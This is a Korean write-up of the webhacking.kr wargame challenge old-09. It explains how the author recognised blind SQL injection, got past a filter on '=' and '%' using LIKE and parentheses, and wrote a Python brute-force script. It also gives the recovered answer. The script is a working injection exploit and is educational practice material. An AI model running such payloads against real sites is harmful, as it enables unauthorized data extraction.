> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-09-900.md).

# old-09 (900)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-Lz-x0Yg4LyLhhKRUgGw%2F-Lz05CphELgghxhM4e-1%2Fimage.png?alt=media\&token=2b6a37e1-2cf6-4527-b2c8-a1381ad20419)

1과 2를 눌렀을 때 아래와 같이 각각 Apple, Banana가 출력된다.

![URL: https://webhacking.kr/challenge/web-09/index.php?no=1](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-Lz08-X4bUQ5zxqOS8nj%2F-Lz081m_4B_18uB_u8ia%2Fimage.png?alt=media\&token=e80d77ad-1bc1-43e2-aed7-9c3b9605f61e)

![URL: https://webhacking.kr/challenge/web-09/index.php?no=2](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-Lz08-X4bUQ5zxqOS8nj%2F-Lz085O3YvX3DYplsYcy%2Fimage.png?alt=media\&token=6b2705ce-5e0b-4ed2-a019-1046958529a4)

3을 눌렀을 때 아래와 같은 메시지가 출력된다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-Lz05Et8gYDMcGRZ2hDC%2F-Lz06T1agAWaOnyVq512%2Fimage.png?alt=media\&token=9f99c03f-6a57-4eab-92d3-6ba92eb44c83)

URL의 `no` 값을 1과 true 로 하였을 때는 Apple이 출력되고, 0과 false로 하였을 때는 아무것도 출력되지 않는다.

이를 통해 본 문제가 Blind SQL Injection과 관련된 문제라고 추측하였다.

`no` 값에 `=` 이나 `%` 같이 특수문자를 넣었을 때 Access Denied라는 문구가 뜨는 것을 통해 문자열이 필터링되고 있는 사실을 알 수 있다.

LIKE 구문과 괄호를 통해 이를 우회하여 코드를 작성하면 아래와 같다.

Password 제출 폼의 maxlength가 11이기 때문에 반복문을 11번만 실행하였다.

```python
import requests
import string


def attack(query):
    URL = 'https://webhacking.kr/challenge/web-09/?no=' + query
    r = requests.get(URL)
    if 'Secret' in r.text:
        return True
    else:
        return False


pw = ''
for pos in range(1, 12):
    for character in string.printable:
        if attack(f'IF(SUBSTR(id,{pos},1)LIKE({hex(ord(character))}),3,0)') is True:
            pw += character
            break
print(pw)
```

실행 시켜보면 pw 값이 `alsrkswhaql` 로 도출되고, 이를 폼에 입력해 제출하면 문제가 풀린다.
